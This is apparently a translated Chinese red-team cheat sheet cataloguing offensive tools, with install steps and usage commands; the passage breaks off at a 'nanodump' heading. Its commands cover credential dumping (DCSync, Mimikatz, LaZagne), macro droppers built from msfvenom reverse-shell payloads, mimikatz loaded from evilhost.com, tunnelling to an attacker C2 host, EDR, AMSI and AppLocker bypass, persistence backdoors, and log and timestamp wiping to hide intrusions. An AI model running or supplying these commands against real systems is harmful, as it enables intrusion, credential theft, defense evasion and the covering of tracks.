Responder 是一款用于在网络中投毒 LLMNR 和 NBT-NS 协议的工具,可捕获凭证并实现任意代码执行。
LLMNR(本地链路多播名称解析)和 NBT-NS(NetBIOS 名称服务)协议是 Windows 系统用于在本地网络中将主机名解析为 IP 地址的协议。如果主机名无法通过这些协议解析,系统会向本地网络广播请求。
Responder 监听这些广播并返回虚假 IP 地址,诱使请求系统将凭证发送给攻击者。
安装:
git clone https://github.com/SpiderLabs/Responder#usage
cd Responder使用方法:
# 运行工具
./Responder.py [options]
# 典型用法
./Responder.py -I eth0 -wrf完整用法信息请查阅此处。

secretsdump
作为 Impacket 库的一部分,该工具可用于从 Windows 系统中提取密码哈希和其他机密信息。
它通过与系统的安全账户管理器(SAM)数据库交互,提取哈希密码和其他信息,例如:
- 本地账户的密码哈希
- Kerberos 票据和密钥
- LSA 机密
安装:
python3 -m pip install impacket使用方法:
# 使用本地文件提取NTLM哈希
secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/systemhive LOCAL
# DCSync攻击,导出所有域用户的NTLM哈希。
secretsdump.py -dc-ip 10.10.10.30 MEGACORP.LOCAL/svc_bes:Sheffield19@10.10.10.30
evil-winrm
Evil-WinRM 是一款提供 Windows 远程管理(WinRM:一种允许管理员远程在 Windows 机器上执行命令的服务)命令行界面的工具。
Evil-WinRM 允许攻击者使用 WinRM 远程连接到 Windows 机器并执行任意命令。
部分功能包括:
- 在内存中加载 Powershell 脚本
- 在内存中加载 DLL 文件以绕过部分 AV
- 加载 x64 Payload
- 支持 Pass-the-hash
- 上传和下载本地及远程文件
安装(Git):
sudo gem install winrm winrm-fs stringio logger fileutils
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm安装(Ruby gem):
gem install evil-winrm其他安装方式请查阅此处。
使用方法:
# 以Administrator连接192.168.1.100,自定义exe/ps1下载目录
evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
# 上传本地文件到受害者
upload local_filename
upload local_filename destination_filename
# 下载远程文件到本地
download remote_filename
download remote_filename destination_filename
# 在受害者内存中执行.NET程序集
Invoke-Binary /opt/csharp/Rubeus.exe
# 将DLL库加载到受害者内存
Dll-Loader -http http://10.10.10.10/SharpSploit.dll完整使用文档请查阅此处。

Donut
一款用于在内存中执行 VBScript、JScript、EXE、DLL 文件和 dotNET 程序集的工具。可用于在目标系统上加载和运行自定义 Payload,无需将文件写入磁盘。
安装(Windows):
git clone http://github.com/thewover/donut.git要生成加载器模板、动态库 donut.dll、静态库 donut.lib 和生成器 donut.exe,请启动 x64 Microsoft Visual Studio 开发者命令提示符,切换到克隆 Donut 仓库的目录,然后输入以下命令:
nmake -f Makefile.msvc如果使用 Windows 或 Linux 上的 MinGW-64 完成相同操作,请切换到克隆 Donut 仓库的目录,然后输入以下命令:
make -f Makefile.mingw安装(Linux):
pip3 install donut-shellcode使用方法:
# 从XSL文件创建shellcode,弹出计算器。
shellcode = donut.create(file=r"C:\\Tools\\Source\\Repos\\donut\\calc.xsl")
# 从非托管DLL创建shellcode。调用DLLMain。
shellcode = donut.create(file=r"C:\Tools\Source\Repos\donut\payload\test\hello.dll")完整使用信息,请参见 donut GitHub 页面。

Macro_pack
用于自动化混淆和生成 Office 文档、VB 脚本、快捷方式及其他格式的红队工具。
安装(BIN):
- 从 https://github.com/sevagas/macro_pack/releases/ 获取最新二进制文件
- 在安装了正版 Microsoft Office 的 PC 上下载二进制文件。
- 打开控制台,切换到二进制文件所在目录并执行该文件
安装(Git):
git clone https://github.com/sevagas/macro_pack.git
cd macro_pack
pip3 install -r requirements.txt使用方法:
# 帮助页面
python3 macro_pack.py --help
# 列出所有支持的文件格式
macro_pack.exe --listformats
# 混淆msfvenom生成的VBA文件,输出到新VBA文件。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba
# 混淆Empire stager VBA文件并生成MS Word文档:
macro_pack.exe -f empire.vba -o -G myDoc.docm
# 生成包含混淆释放器的MS Excel文件(下载payload.exe并存为dropped.exe)
echo "https://myurl.url/payload.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER -G "drop.xlsm"
# 通过动态数据交换(DDE)攻击执行calc.exe
echo calc.exe | macro_pack.exe --dde -G calc.xslx
PowerSploit
一组 PowerShell 脚本和模块的集合,可用于实现各种红队目标。
PowerSploit 的部分功能:
- 转储密码哈希并从内存中提取明文密码
- 提升权限并绕过安全控制
- 执行任意 PowerShell 代码并绕过执行限制
- 执行网络侦察和发现
- 生成载荷并执行漏洞利用
安装: 1. 保存到PowerShell模块目录
首先,您需要下载 PowerSploit 文件夹 并将其保存到您的 PowerShell 模块文件夹中。
您可以通过以下命令找到 PowerShell 模块文件夹路径:
$Env:PSModulePath安装: 2. 将PowerSploit安装为PowerShell模块
然后您需要安装 PowerSploit 模块(使用下载的文件夹名称)。
注意: 你的PowerShell执行策略可能会阻止你,运行以下命令即可解决。
powershell.exe -ep bypass现在您可以安装 PowerSploit 模块。
Import-Module PowerSploit使用方法:
Get-Command -Module PowerSploit
Rubeus
一个可用于执行与 Microsoft Active Directory (AD) 环境相关的各种操作的工具,例如转储密码哈希、创建/删除用户以及修改用户属性。
Rubeus 的部分功能:
- Kerberoasting(Kerberos 票证攻击)
- 黄金票据攻击
- 白银票据攻击
安装(下载):
您可以在此处安装非官方的预编译 Rubeus 二进制文件。
安装(编译):
Rubeus兼容Visual Studio 2019 Community Edition。打开Rubeus项目.sln, choose "Release", and build.
使用方法:
Rubeus.exe -h
SharpUp
一个用于检查受害者端点是否存在与高完整性进程、组、可劫持路径等相关漏洞的优秀工具。
安装(下载):
您可以在此处安装非官方的预编译 SharpUp 二进制文件。
安装(编译):
SharpUp兼容Visual Studio 2015 Community Edition。打开SharpUp项目 .sln, choose "Release", and build.
使用方法:
SharpUp.exe audit
#-> 运行所有漏洞检查,不论完整性级别或组成员身份。
SharpUp.exe HijackablePaths
#-> 仅检查用户%PATH%变量中是否存在可修改路径。
SharpUp.exe audit HijackablePaths
#-> 仅检查用户%PATH%中可修改路径,不论完整性级别或组成员身份。
SQLRecon
MS-SQL (Microsoft SQL Server) 是由微软开发和销售的关系数据库管理系统。
这个 C# MS-SQL 工具包专为攻击性侦察和后期利用而设计。有关每种技术的详细使用信息,请参考 wiki。
安装(BIN):
您可以从此处下载最新的二进制版本。
使用方法:
# 使用Windows凭据认证
SQLRecon.exe -a Windows -s SQL01 -d master -m whoami
# 使用本地凭据认证
SQLRecon.exe -a Local -s SQL02 -d master -u sa -p Password123 -m whoami
# 使用Azure AD凭据认证
SQLRecon.exe -a azure -s azure.domain.com -d master -r domain.com -u skawa -p Password123 -m whoami
# 运行whoami
SQLRecon.exe -a Windows -s SQL01 -d master -m whoami
# 查看数据库
SQLRecon.exe -a Windows -s SQL01 -d master -m databases
# 查看表
SQLRecon.exe -a Windows -s SQL01 -d master -m tables -o AdventureWorksLT2019完整的使用信息可以在 wiki 上找到。
工具模块的使用信息可以在此处找到。

UltimateAppLockerByPassList
该资源是一个绕过 AppLocker 的最常见和已知技术的集合。
由于AppLocker的配置方式多种多样,@api0cradle维护了一份已验证的绕过方法列表(针对默认AppLocker规则有效)以及一份可能的绕过技术列表(视配置而定)或是仅被某人声称可用的绕过方法。
他们还整理了一份通用绕过技术列表和一份通过DLL执行的老方法清单。
索引列表
- Generic-AppLockerbypasses.md
- VerifiedAppLockerBypasses.md
- UnverifiedAppLockerBypasses.md
- DLL-Execution.md

StarFighters
一个基于 JavaScript 和 VBScript 的 Empire 启动器,在其自己的嵌入式 PowerShell 主机中运行。
两个启动器都在其自己的嵌入式 PowerShell 主机中运行,因此我们不需要 PowerShell.exe。
当公司阻止 PowerShell.exe 和/或使用应用程序白名单解决方案,但不阻止运行 JS/VBS 文件时,这可能很有用。
使用方法:
- 在 PowerShell Empire 中设置一个新的监听器
- 使用 Launcher 命令为此监听器生成 PowerShell 启动器
- 复制并替换 StarFighter JavaScript 或 VBScript 文件中的 Base64 编码启动器载荷
对于 JavaScript 版本,使用以下变量:
var EncodedPayload = "<Paste Encoded Launcher Payload Here>"对于 VBScript 版本,使用以下变量:
Dim EncodedPayload: EncodedPayload = "<Paste Encoded Launcher Payload Here>"- 然后在目标上运行:wscript.exe StarFighter.js 或 StarFighter.vbs,或在资源管理器中双击启动器。

demiguise
该项目的目标是生成包含加密 HTA 文件的 .html 文件。
其思路是:当目标访问页面时,获取密钥并在浏览器中动态解密 HTA,然后直接推送给用户。
这是一种绕过某些安全设备实施的内容/文件类型检查的规避技术。
更多技术信息请点击此处。
安装:
git clone https://github.com/nccgroup/demiguise
cd demiguise使用方法:
# 生成执行notepad.exe的加密.hta文件
python demiguise.py -k hello -c "notepad.exe" -p Outlook.Application -o test.hta
PowerZure
PowerZure 是一个 PowerShell 项目,用于评估和利用微软云平台 Azure 中的资源。PowerZure 的创建源于对既能执行侦察又能利用 Azure、AzureAD 及相关资源的框架的需求。
绝对不要在受害者的机器上运行 PowerZure。认证通过使用现有的 accesstoken.json 文件或登录 Azure 时的提示来完成,这意味着您可以安全地从您的操作机器上使用 PowerZure 与受害者的云实例进行交互。
安装:
Install-Module -Name Az
git clone https://github.com/hausec/PowerZure
cd PowerZure
ipmo C:\path\to\PowerZure.psd1使用方法:
# 获取你有权访问的AzureAD和Azure对象列表
Get-AzureTarget
持久化
Impacket
Impacket 为各种网络协议(包括 SMB、Kerberos 和 LDAP)提供了一组低级 Python 绑定,以及用于与网络服务交互和执行特定任务(如转储密码哈希和创建网络共享)的高级库。
它还包括许多命令行工具,可用于执行各种任务,如转储 SAM 数据库、枚举域信任和破解 Windows 密码。
安装:
python3 -m pip install impacket安装:(包含示例脚本)
下载并解压该软件包,然后进入安装文件夹并运行...
python3 -m pip install .使用方法:
# 使用本地文件提取NTLM哈希
secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/systemhive LOCAL
# 获取远程主机上打开的会话列表
netview.py domain/user:password -target 192.168.10.2
# 从目标主机检索MSSQL实例名称。
mssqlinstance.py 192.168.1.2
# 该脚本将收集域用户及其对应电子邮件地址的数据。
GetADUsers.py domain/user:password@IP
Empire
Empire 是一个后期利用框架,允许您生成用于与受害者系统建立远程连接的载荷。
一旦载荷在受害者系统上执行,它会建立回连到 Empire 服务器的连接,然后可用于发出命令和控制目标系统。
Empire 还包括许多内置模块和脚本,可用于执行特定任务,如转储密码哈希、访问 Windows 注册表和窃取数据。
安装:
git clone https://github.com/EmpireProject/Empire
cd Empire
sudo ./setup/install.sh使用方法:
# 启动Empire
./empire
# 列出在线Agent
list agents
# 列出在线监听器
list listeners
SharPersist
一个用 C# 编写的 Windows 持久化工具包。
该项目有一个 wiki。
安装(BIN):
您可以在此处找到最新版本。
安装(编译):
- 从 GitHub 仓库 下载项目文件。
- 加载 Visual Studio 项目,依次进入 "工具" --> "NuGet 包管理器" --> "包管理器设置"
- 进入 "NuGet 包管理器" --> "包源"
- 添加包源,URL 填写 "https://api.nuget.org/v3/index.json"
安装Costura.Fody NuGet包。需要旧版Costura.Fody(3.3.3),这样就不需要Visual Studio 2019了。
Install-Package Costura.Fody -Version 3.3.3
安装TaskScheduler包
Install-Package TaskScheduler -Version 2.8.11
- 现在就可以自己构建项目了!
使用方法:
完整的用法示例列表可以在此处找到。
#KeePass
SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m add
#注册表
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add
#计划任务后门
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
#启动文件夹
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add
ligolo-ng
Ligolo-ng 是一个简单、轻量且快速的工具,允许渗透测试人员使用 tun 接口通过反向 TCP/TLS 连接建立隧道(无需 SOCKS)。
Ligolo-ng 不是使用 SOCKS 代理或 TCP/UDP 转发器,而是使用 Gvisor 创建一个用户态网络栈。
运行中继/代理服务器时,会使用一个 tun 接口,发送到该接口的数据包会被转换,然后传输到代理的远程网络。
安装(下载):
预编译的二进制文件 (Windows/Linux/macOS) 可在发布页面上获取。
安装(编译):
编译 ligolo-ng (需要 Go >= 1.17):
go build -o agent cmd/agent/main.go
go build -o proxy cmd/proxy/main.go
# 为Windows构建
GOOS=windows go build -o agent.exe cmd/agent/main.go
GOOS=windows go build -o proxy.exe cmd/proxy/main.go设置:(Linux)
sudo ip tuntap add user [your_username] mode tun ligolo
sudo ip link set ligolo up设置:(Windows)
你需要下载Wintun驱动(WireGuard使用的那个),把wintun.dll放在Ligolo所在文件夹(注意要用正确的架构版本)。
设置:(代理服务器)
./proxy -h # Help options
./proxy -autocert # Automatically request LetsEncrypt certificates使用方法:
在目标(受害者)计算机上启动代理(无需权限!):
./agent -connect attacker_c2_server.com:11601代理服务器上应该会出现一个会话。
INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000"使用 session 命令选择代理。
ligolo-ng » session
? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000完整的使用信息可以在此处找到。

权限提升
Crassus
埃森哲搞了个叫Spartacus的工具,能在Windows上找DLL劫持机会。我们以Spartacus为起点,做了一个Crassus来扩展Windows提权发现能力——不光找缺失的文件,还分析特权进程文件和目录的ACL。
安装(编译):
Crassus是作为Visual Studio 2019项目开发的。构建Crassus.exe:
- 打开Crassus.sln
- 按Ctrl+Shift+B编译
安装:(预编译)
如果你信得过别人的代码愿意直接运行,Crassus.exe已在本仓库中提供。
使用方法:
- 在Process Monitor中选择
Enable Boot Logging选项。 - 重启。
- 登录后等Windows稳定下来,可选运行可能以特权配置的计划任务。
- 再次运行Process Monitor。
- 提示时保存启动日志。
- 用
Ctrl-R重置默认的Process Monitor过滤器。 将此日志文件保存到(例如)
boot.PML。重新保存日志文件有两个原因:- 旧版Process Monitor不会将启动日志保存为单个文件。
- 启动日志默认未过滤,可能包含额外噪音,比如Process Monitor自身启动时的本地用户DLL劫持。

LinPEAS
LinPEAS 是一个详细的权限提升工具,用于在 Linux 端点上查找本地提权路径。
安装+使用:
curl -L "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh" | sh
WinPEAS
WinPEAS 是一个详细的权限提升工具,用于在 Windows 端点上查找本地提权路径。
Install + Usage:
$wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_ofs.exe" -UseBasicParsing | Select-Object -ExpandProperty Content)); [winPEAS.Program]::Main("")
linux-smart-enumeration
Linux smart enumeration 是另一个适用于 Linux 的、不那么冗长的优秀 Linux 提权工具。
Install + Usage:
curl "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -Lo lse.sh;chmod 700 lse.sh
Certify
Certify 是一个 C# 工具,用于枚举和利用 Active Directory 证书服务 (AD CS) 中的错误配置。
Certify 旨在与其他红队工具和技术(如 Mimikatz 和 PowerShell)结合使用,使红队成员能够执行各种类型的攻击,包括中间人攻击、冒充攻击和权限提升攻击。
Certify 的主要功能:
- 证书创建
- 证书签名
- 证书导入
- 证书信任修改
安装(编译):
Certify兼容Visual Studio 2019 Community Edition。打开Certify项目.sln, choose "Release", and build.
安装:(通过 PowerShell 运行 Certify)
如果您想通过 PowerShell 包装器在内存中运行 Certify,首先编译 Certify 并对生成的程序集进行 base64 编码:
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\Certify.exe")) | Out-File -Encoding ASCII C:\Temp\Certify.txt然后可以使用以下方式在 PowerShell 脚本中加载 Certify(其中 "aa..." 替换为 base64 编码的 Certify 程序集字符串):
$CertifyAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))然后可以按如下方式调用 Main() 方法和任何参数:
[Certify.Program]::Main("find /vulnerable".Split())完整的编译说明可以在此处找到。
使用方法:
# 查看是否存在漏洞模板
Certify.exe find /vulnerable
# 为模板/CA请求新证书,指定DA localadmin为备用主体
Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:VulnTemplate /altname:localadmin完整的示例演练可以在此处找到。

Get-GPPPassword
Get-GPPPassword 是 PowerSploit 工具包中的一个 PowerShell 脚本,用于检索使用组策略首选项 (GPP) 创建和管理的本地帐户的密码。
Get-GPPPassword 通过搜索域控制器上的 SYSVOL 文件夹中任何包含密码信息的 GPP 文件来工作。一旦找到这些文件,它会解密密码信息并显示给用户。
安装:
按照本工具表中的 PowerSploit 安装说明 进行操作。
powershell.exe -ep bypass
Import-Module PowerSploit使用方法:
# 获取所有密码及附加信息
Get-GPPPassword
# 获取所有密码列表
Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
Sherlock
用于快速查找本地权限提升漏洞缺失软件补丁的 PowerShell 脚本。
支持:
- MS10-015:用户态转Ring0(KiTrap0D)
- MS10-092:任务计划程序
- MS13-053:NTUserMessageCall Win32k内核池溢出
- MS13-081:TrackPopupMenuEx Win32k空页
- MS14-058:TrackPopupMenu Win32k空指针解引用
- MS15-051:ClientCopyImage Win32k
- MS15-078:字体驱动缓冲区溢出
- MS16-016:'mrxdav.sys' WebDAV
- MS16-032:二次登录句柄
- MS16-034:Windows内核模式驱动提权
- MS16-135:Win32k权限提升
- CVE-2017-7199:Nessus Agent 6.6.2-6.10.3提权
安装:(PowerShell)
# Git安装方式
git clone https://github.com/rasta-mouse/Sherlock
# 加载PowerShell模块
Import-Module -Name C:\INSTALL_LOCATION\Sherlock\Sherlock.ps1使用:(PowerShell)
# 运行所有函数
Find-AllVulns
# 运行指定函数(MS14-058:TrackPopupMenu Win32k空指针解引用)
Find-MS14058
Watson
Watson 是一个 .NET 工具,用于枚举缺失的 KB 补丁并建议用于权限提升漏洞的利用方法。
非常适合识别缺失补丁并建议可用于利用已知漏洞以获得系统更高权限的利用方法。
安装:
使用Visual Studio 2019 Community Edition。打开Watson项目.sln, choose "Release", and build.
使用方法:
# 运行所有检查
Watson.exe
ImpulsiveDLLHijack
一个基于 C# 的工具,可自动化发现和利用目标二进制文件中的 DLL 劫持的过程。
在交战期间,发现的劫持路径可以被武器化,以规避 EDR。
安装:
- Procmon.exe -> https://docs.microsoft.com/en-us/sysinternals/downloads/procmon
自定义确认DLL:
- 这些DLL文件用于协助工具确认是否已从识别到的劫持路径成功加载DLL
- 从上方提供的MalDLL项目编译(也可以使用预编译的二进制文件,如果你信得过我的话!)
- 32位DLL名称应为:maldll32.dll
- 64位DLL名称应为:maldll64.dll
- 安装NuGet包:PeNet -> https://www.nuget.org/packages/PeNet/ (编译ImpulsiveDLLHijack项目的前提条件)
注意:前提条件i和ii的文件应放在ImpulsiveDLLHijacks.exe同级目录下。
构建和安装信息:
ImpulsiveDLLHijack
- 在Visual Studio中克隆仓库
- 项目加载后,在Visual Studio中依次点击"项目" --> "管理NuGet包" --> 浏览包并安装"PeNet" -> https://www.nuget.org/packages/PeNet/
- 构建项目!
- ImpulsiveDLLHijack.exe将位于bin目录中。
确认DLL方面:
- 在Visual Studio中克隆仓库
- 分别以x86和x64构建项目
- 将x86发布版重命名为maldll32.dll,x64发布版重命名为maldll64.dll
- 安装: 将确认DLL(maldll32和maldll64)拷贝到ImpulsiveDLLHijack.exe所在目录,然后执行ImpulsiveDLLHijack.exe :))
使用方法:
# 帮助
ImpulsiveDLLHijack.exe -h
# 在可执行文件中查找漏洞
ImpulsiveDLLHijack.exe -path BINARY_PATH用法示例见这里。

ADFSDump
一个用于从 AD FS 中转储各种有用信息的 C# 工具。
由 Doug Bienstock @doughsec 在 Mandiant FireEye 工作时创建。
该工具旨在与 ADFSpoof 配合使用。ADFSdump 将输出使用 ADFSpoof 生成安全令牌所需的所有信息。
要求:
- ADFSDump必须以AD FS服务账户的用户上下文运行。你可以通过在AD FS服务器上运行进程列表或从Get-ADFSProperties cmdlet的输出来获取此信息。只有AD FS服务账户才拥有访问配置数据库所需的权限,连域管理员都无法访问。
- ADFSDump假定服务配置使用的是Windows内部数据库(WID)。虽然支持外部SQL服务器也很容易,但该功能目前尚未实现。
- ADFSDump必须本地运行在AD FS服务器上,而不能在AD FS Web应用代理上。WID只能通过命名管道在本地访问。
安装(编译):
ADFSDump 是使用 Visual Studio 2017 Community Edition 针对 .NET 4.5 构建的。只需打开项目 .sln 文件,选择 "Release" 并编译。
使用:(标志)
# 目标Active Directory域。默认为当前域。
/domain:
# 目标域控制器。默认为当前DC。
/server:
# 开关。切换以禁用DKM密钥输出。
/nokey
# (可选)SQL连接字符串,当ADFS使用远程MS SQL而非WID时使用。
/database
BeRoot
BeRoot 项目是一个后期利用工具,用于检查常见错误配置以找到提升权限的方法。
BeRoot 的目标是只输出潜在的权限提升机会,而不是端点配置评估。
该项目适用于 Windows、Linux 和 Mac OS。
安装(Linux):
git clone https://github.com/AlessandroZ/BeRoot
cd BeRoot/Linux/安装(Windows):
预编译版本的 BeRoot 可以在此处找到。
使用方法:
# 运行BeRoot
python beroot.py
# 使用用户密码运行BeRoot(如果知道密码就填上,能获取更多结果)
python beroot.py --password super_strong_password更多信息请参见以下平台:

防御规避
Invoke-Obfuscation
一个兼容 PowerShell v2.0+ 的 PowerShell 命令和脚本混淆器。如果受害者端点能够执行 PowerShell,那么该工具非常适合创建高度混淆的脚本。
安装:
git clone https://github.com/danielbohannon/Invoke-Obfuscation.git使用方法:
./Invoke-Obfuscation
Veil
Veil 是一个用于生成绕过常见防病毒解决方案的 Metasploit 载荷的工具。
它可用于生成混淆的 Shellcode,更多信息请参见官方 Veil 框架博客。
安装(Kali):
apt -y install veil
/usr/share/veil/config/setup.sh --force --silent安装(Git):
sudo apt-get -y install git
git clone https://github.com/Veil-Framework/Veil.git
cd Veil/
./config/setup.sh --force --silent使用方法:
# 列出Ordnance工具的所有payload(–list-payloads)
./Veil.py -t Ordnance --list-payloads
# 列出Ordnance工具的所有编码器(–list-encoders)
./Veil.py -t Ordnance --list-encoders
# 生成反弹TCP payload,连接回192.168.1.20:1234
./Veil.py -t Ordnance --ordnance-payload rev_tcp --ip 192.168.1.20 --port 1234
# 列出Evasion工具的所有payload(–list-payloads)
./Veil.py -t Evasion --list-payloads
# 使用Evasion生成shellcode,payload编号41,反弹TCP到192.168.1.4:8676,输出文件chris
./Veil.py -t Evasion -p 41 --msfvenom windows/meterpreter/reverse_tcp --ip 192.168.1.4 --port 8676 -o chrisVeil 的创建者写了一篇很好的博文,进一步解释了武器和规避的命令行用法。

SharpBlock
一种通过阻止入口点执行来绕过 EDR 主动防御 DLL 的方法。
功能特性:
- 阻止EDR DLL入口点执行,防止EDR钩子被安插。
- 无补丁AMSI绕过,运行时不会被扫描Amsi.dll代码补丁的检测器发现。
- 宿主进程被替换为植入的PE文件,可从磁盘、HTTP或命名管道加载(Cobalt Strike)。
- 植入进程被隐藏,以逃避扫描中空进程的检测器。
- 命令行参数被伪造并在进程创建后植入,使用隐蔽的EDR检测方法。
- 无补丁ETW绕过。
- 当调用方处于被阻止DLL的地址空间范围内时,阻止NtProtectVirtualMemory调用。
安装:
使用 Visual Studio 2019 Community Edition 编译SharpBlock二进制文件。
打开SharpBlock项目.sln,选"Release",然后编译。
使用方法:
# 通过HTTP加载mimikatz,用notepad作宿主进程,阻止SylantStrike的DLL
SharpBlock -e http://evilhost.com/mimikatz.bin -s c:\windows\system32\notepad.exe -d "Active Protection DLL for SylantStrike" -a coffee
# 通过命名管道用Cobalt Strike beacon加载mimikatz,用notepad作宿主进程,阻止SylantStrike的DLL
execute-assembly SharpBlock.exe -e \\.\pipe\mimi -s c:\windows\system32\notepad.exe -d "Active Protection DLL for SylantStrike" -a coffee
upload_file /home/haxor/mimikatz.exe \\.\pipe\mimi
Alcatraz
Alcatraz 是一个 GUI x64 二进制文件混淆器,能够混淆各种不同的 PE 文件,包括:
- .exe
- .dll
- .sys
支持的混淆功能包括:
- 立即数移动混淆
- 控制流扁平化
- ADD变异
- 入口点混淆
- Lea混淆
安装:(前置要求)
安装说明:https://vcpkg.io/en/getting-started.html
vcpkg.exe install asmjit:x64-windows
vcpkg.exe install zydis:x64-windows使用方法:
使用GUI混淆二进制文件的步骤:
- 点击左上角
file加载二进制文件。 - 展开
Functions树添加函数。(在顶部搜索栏输入名称即可搜索) - 点击
compile(注意: 混淆大量函数可能需要几秒钟)

Mangle
Mangle是个操控编译后可执行文件(.exe或DLL)各方面属性的工具。
Mangle能清除已知的失陷指标(IoC)字符串并用随机字符替换,通过膨胀文件体积来逃避EDR检测,还能克隆合法文件的代码签名证书。
通过这些手段,Mangle能帮加载器躲过磁盘和内存层面的扫描。
安装:
第一步照例是克隆仓库。编译Mangle之前,需要先安装依赖项,执行以下命令:
go get github.com/Binject/debug/pe然后构建:
git clone https://github.com/optiv/Mangle
cd Mangle
go build Mangle.go使用方法:
-C string
Path to the file containing the certificate you want to clone
-I string
Path to the orginal file
-M Edit the PE file to strip out Go indicators
-O string
The new file name
-S int
How many MBs to increase the file by完整用法说明见这里。

AMSI Fail
AMSI.fail是个很棒的网站,能生成混淆过的PowerShell代码片段来破坏或禁用当前进程的AMSI。
代码片段会从一个小的技术/变体池中随机选取,然后进行混淆处理。每个片段都在运行时/请求时混淆,确保每次生成的输出都拥有不同的特征签名。
F-Secure讲解AMSI的不错博文见这里。

ScareCrow
ScareCrow是一个payload创建框架,通过侧加载(不是注入)到合法的Windows进程中运行,从而绕过应用程序白名单控制。
DLL加载器装入内存后,会利用一种技术来清除EDR在进程内存中所运行系统DLL里埋下的钩子。
ScareCrow执行时,会拷贝C:\Windows\System32\里磁盘上存储的系统DLL字节。这些磁盘上的DLL是"干净的"——没有EDR钩子,因为系统在创建新进程时就是用它们来加载未篡改的副本。EDR只会在内存里钩住这些进程,所以磁盘上的DLL还是原始的。
学习ScareCrow所用技术的不错博文:
安装:
ScareCrow需要golang 1.16.1或更高版本来编译加载器。
# 克隆
git clone https://github.com/optiv/ScareCrow
cd ScareCrow
# 安装依赖
go get github.com/fatih/color
go get github.com/yeka/zip
go get github.com/josephspurrier/goversioninfo
# 必需
openssl
osslsigncode
mingw-w64
# 构建
go build ScareCrow.go使用方法:
Usage of ./ScareCrow:
-I string
原始64位shellcode的路径。
-Loader string
设置侧载恶意Payload的进程类型:
[*] binary - 生成基于二进制的Payload。(此类型不享有侧载优势)
[*] control - 加载隐藏的控制面板小程序——如果指定了-O,进程名将为rundll32并生成JScript加载器。
[*] dll - 仅生成DLL文件。可使用rundll32或regsvr32等命令执行,导出函数为DllRegisterServer、DllGetClassObject。
[*] excel - 使用JScript加载器加载到隐藏的Excel进程中。
[*] msiexec - 使用JScript加载器加载到MSIexec进程中。
[*] wscript - 使用JScript加载器加载到WScript进程中。(默认"binary")
-O string
输出文件名(如loader.js或loader.hta)。如果Loader设置为dll或binary,则此选项非必需。
-configfile string
基于JSON的配置文件路径,用于生成自定义文件属性。不使用默认属性。
-console
仅适用于二进制Payload——Payload执行时生成详细的控制台信息,这会禁用隐藏窗口功能。
...完整用法说明见这里。

moonwalk
moonwalk是个400KB的单文件可执行程序,渗透测试Unix机器后用来清理你的操作痕迹。
它在漏洞利用前保存系统日志状态,利用后将日志状态和文件系统时间戳恢复原样,在Shell中不留下任何痕迹。
安装:
curl -L https://github.com/mufeedvh/moonwalk/releases/download/v1.0.0/moonwalk_linux -o moonwalk使用方法:
# 在受害者Linux端点上拿到Shell后立即启动moonwalk
curl -L https://github.com/mufeedvh/moonwalk/releases/download/v1.0.0/moonwalk_linux -o moonwalk
chmod +x moonwalk
moonwalk start
# 完成后,清除你的痕迹
moonwalk finish
凭据访问
Mimikatz
搞哈希和明文密码的神器。拿到系统特权后把这个工具扔上去,收一堆凭据回来。
安装:
- Download the mimikatz_trunk.7z file.
- 下载后,
mimikatz.exe二进制文件就在x64目录下。
使用方法:
.\mimikatz.exe
privilege::debug
LaZagne
从浏览器、数据库、游戏、邮件、git、wifi等各种地方提取本地存储密码的好工具。
安装(BIN):
可以从这里下载独立二进制文件。
使用方法:
# 启动所有模式
.\laZagne.exe all
# 仅启动特定模块
.\laZagne.exe browsers
# 仅启动特定软件脚本
.\laZagne.exe browsers -firefox
hashcat
密码哈希破解工具。支持大量哈希算法(完整列表见这里)。
Install: Binary
可以从这里下载独立二进制文件。
使用方法:
.\hashcat.exe --help
John the Ripper
又一个密码破解器,支持数百种哈希和加密类型,能在多种操作系统、CPU和GPU上跑。
安装:
sudo apt-get install john -y使用方法:
john
SCOMDecrypt
这个工具用来提取和解密微软System Center Operations Manager(SCOM)数据库里存储的RunAs凭据。
前置条件:
运行该工具需要在SCOM服务器上拥有管理员权限,还要确保对以下注册表键有读取权限:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\System Center\2010\Common\MOMBins你可以通过从以下键中收集连接信息,手动检查是否能看到数据库:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\System Center\2010\Common\Database\DatabaseServerName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\System Center\2010\Common\Database\DatabaseName安装(PS1):
git clone https://github.com/nccgroup/SCOMDecrypt
cd .\SCOMDecrypt\SCOMDecrypt\
. .\Invoke-SCOMDecrypt.ps1安装(编译):
使用 Visual Studio 2019 Community Edition 可以编译SCOMDecrypt二进制文件。
打开SCOMDecrypt项目.sln,选"Release",然后编译。
使用方法:
# PS1方式
Invoke-SCOMDecrypt
# 编译的C#二进制文件
.\SCOMDecrypt.exe
nanodump
